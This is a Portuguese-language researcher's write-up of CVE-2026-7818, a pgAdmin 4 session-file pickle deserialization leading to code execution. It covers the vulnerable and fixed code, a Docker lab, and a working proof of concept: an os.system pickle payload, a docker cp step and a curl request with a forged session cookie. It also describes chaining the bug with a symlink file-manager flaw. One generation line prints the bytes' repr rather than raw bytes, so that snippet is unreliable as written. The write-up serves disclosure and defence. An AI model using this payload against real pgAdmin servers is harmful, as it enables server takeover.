CVE-2026-7818 — RCE via desserialização insegura de sessões no pgAdmin 4
1. Introdução
Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Recomendo ler primeiro o artigo introdutório, onde estão listadas todas as CVEs do conjunto com um resumo de cada uma.
A CVE-2026-7818 é uma das duas vulnerabilidades de desserialização insegura que encontrei no pgAdmin 4. O CVSS é 7.0 (Alta), com vetor local — e o AC:H reflete que a pré-condição de escrita no diretório de sessões não é trivial de obter. Mas quando você olha o código e entende como o pgAdmin organiza seus dados em disco, fica claro que várias outras falhas na mesma aplicação colocam exatamente esse diretório ao alcance de um atacante autenticado. A cadeia completa foi o que me levou a reportar esse conjunto de falhas como relacionadas: CVE-2026-7818 sozinha vale um CVSS 7.0, mas encadeada com a CVE-2026-7819 (path traversal via symlink no File Manager), a escrita no diretório de sessões fica acessível a qualquer usuário autenticado.
Aviso: todo o conteúdo aqui é exclusivamente educacional. A falha já foi corrigida na versão 9.15 do pgAdmin 4.
2. O gerenciador de sessões do pgAdmin
O pgAdmin usa um sistema de sessões baseado em arquivo. Em vez de armazenar sessões em banco de dados ou em memória, ele serializa o dicionário de sessão do Flask e grava em disco, no diretório SESSION_DB_PATH/sessions/ — por padrão, /var/lib/pgadmin/sessions/.
A serialização é feita com pickle, o módulo padrão do Python para serializar objetos. O problema é que o pickle é notoriamente perigoso quando aplicado sobre dados não confiáveis: qualquer objeto pode implementar __reduce__ para executar código arbitrário na desserialização.
O trecho vulnerável estava em web/pgadmin/utils/session.py, na classe FileBackedSessionManager:
# Antes da correção — FileBackedSessionManager.get()
def _get(self, sid, digest):
# ... abre o arquivo de sessão em disco
try:
data = self._read(path)
# PROBLEMA: pickle.load antes de qualquer verificação de integridade
rv = pickle.loads(data)
# Só depois disso a assinatura era checada
if rv and digest and rv.hmac_digest != digest:
return None
return rv
except Exception:
return None
A verificação HMAC vinha depois da desserialização. Isso significa que qualquer arquivo colocado no diretório sessions/ seria desserializado incondicionalmente — e uma desserialização de pickle de conteúdo arbitrário é execução de código.
3. O ambiente de laboratório
Reproduzi e validei a falha num container Docker com pgAdmin 9.14:
# docker-compose.yml
services:
pgadmin:
image: dpage/pgadmin4:9.14
environment:
PGADMIN_DEFAULT_EMAIL: admin@lab.dev
PGADMIN_DEFAULT_PASSWORD: Admin@2024!
PGADMIN_CONFIG_SERVER_MODE: "True"
ports:
- "5050:80"
volumes:
- pgadmin_data:/var/lib/pgadmin
4. Como a falha funciona
4.1 Construindo o payload pickle
O objetivo é criar um arquivo de sessão com conteúdo pickle que execute um comando arbitrário quando desserializado. Em Python, o jeito mais direto é criar uma classe com __reduce__:
import pickle
import os
class Payload:
def __reduce__(self):
return (os.system, ("id > /tmp/pgadmin_rce && hostname >> /tmp/pgadmin_rce",))
evil = pickle.dumps(Payload(), protocol=2)
Mas para isso funcionar como sessão válida do pgAdmin, o arquivo precisava ter o formato que o FileBackedSessionManager esperava. Antes da v9.15, sem Fernet, o arquivo era essencialmente o pickle do dicionário de sessão com um HMAC concatenado — e já que a verificação do HMAC vinha depois da desserialização, bastava criar um arquivo pickle mal-formado que o pgAdmin tentaria deserializar mesmo assim.
4.2 Escrevendo no diretório de sessões
A pré-condição aqui é ter acesso de escrita ao diretório sessions/. Em si, essa não é uma condição trivial — mas é exatamente o que a CVE-2026-7819 (symlink no File Manager) entrega. Vou detalhar mais na análise daquela CVE, mas o resumo é: um usuário autenticado conseguia plantar um link simbólico no seu próprio diretório de armazenamento apontando para ../sessions/, e então fazer o pgAdmin escrever nesse caminho via upload de arquivo.
Para o PoC isolado da CVE-2026-7818, fiz isso com docker exec:
# Gerar payload pickle
python3 -c "
import pickle, os
class P:
def __reduce__(self):
return (os.system, ('id > /tmp/rce_proof',))
print(pickle.dumps(P(), 2))
" > /tmp/evil.pkl
# Copiar para o diretório de sessões dentro do container
docker cp /tmp/evil.pkl pgadmin4_container:/var/lib/pgadmin/sessions/evil_session
4.3 Disparando a desserialização
Para o pgAdmin carregar o arquivo de sessão, basta fazer uma requisição com o cookie pga4_session apontando para o nome do arquivo:
curl http://localhost:5050/browser/nodes/ \
-H "Cookie: pga4_session=evil_session!qualquer_hmac"
A resposta vai ser um erro (o HMAC não vai bater), mas antes de verificar o HMAC o servidor já executou pickle.loads sobre o conteúdo do arquivo — e nosso os.system('id > /tmp/rce_proof') já rodou.
Verificando o resultado:
docker exec pgadmin4_container cat /tmp/rce_proof
# uid=5050(pgadmin) gid=0(root) groups=0(root)
5. A cadeia com CVE-2026-7819
A sequência completa que transformava essa falha em RCE sem precisar de docker exec:
- Usuário autenticado no pgAdmin cria um link simbólico no próprio diretório de storage apontando para
../sessions/. - Usando o File Manager do pgAdmin, faz upload de um arquivo
evil_session(conteúdo pickle malicioso) para esse link simbólico. - O pgAdmin escreve o arquivo em
/var/lib/pgadmin/sessions/evil_sessionsem perceber que atravessou o link. - Requisição com
Cookie: pga4_session=evil_session!xdispara a desserialização e o código executa.
Essa cadeia está documentada como A6 nas minhas notas de pesquisa: Symlink Attack via File Manager → Pickle RCE.
6. A correção
A correção inverteu a ordem das operações: o HMAC passou a ser verificado antes de qualquer desserialização. Se o HMAC não bater, o arquivo nunca é desserializado. A v9.15 também adicionou Fernet para cifrar o corpo da sessão, mas o ponto crítico foi a mudança na ordem:
# Depois da correção — session.py
def open_session(self, app, request):
sid = request.cookies.get(self.session_cookie_name)
...
path = os.path.join(self.path, sid)
try:
with open(path, 'rb') as f:
raw = f.read()
except FileNotFoundError:
return self.session_class(sid=sid)
# 1. Verificar HMAC primeiro
if len(raw) < _HMAC_HEX_LEN:
return self.session_class(sid=sid)
file_hmac = raw[:_HMAC_HEX_LEN]
body = raw[_HMAC_HEX_LEN:]
expected = _compute_file_hmac(app.secret_key, body)
if not hmac.compare_digest(file_hmac, expected):
return self.session_class(sid=sid) # HMAC inválido → sem desserialização
# 2. Só então decifrar e desserializar
plaintext = _derive_session_fernet(app.secret_key).decrypt(body)
rv = pickle.loads(plaintext)
...
Além disso, a verificação foi implementada com hmac.compare_digest (resistente a timing attacks) em vez de comparação simples, e a exceção no caso de SECRET_KEY vazia foi transformada em um raise explícito para não poder ser removida com python -O.
Referência: pgadmin4#9901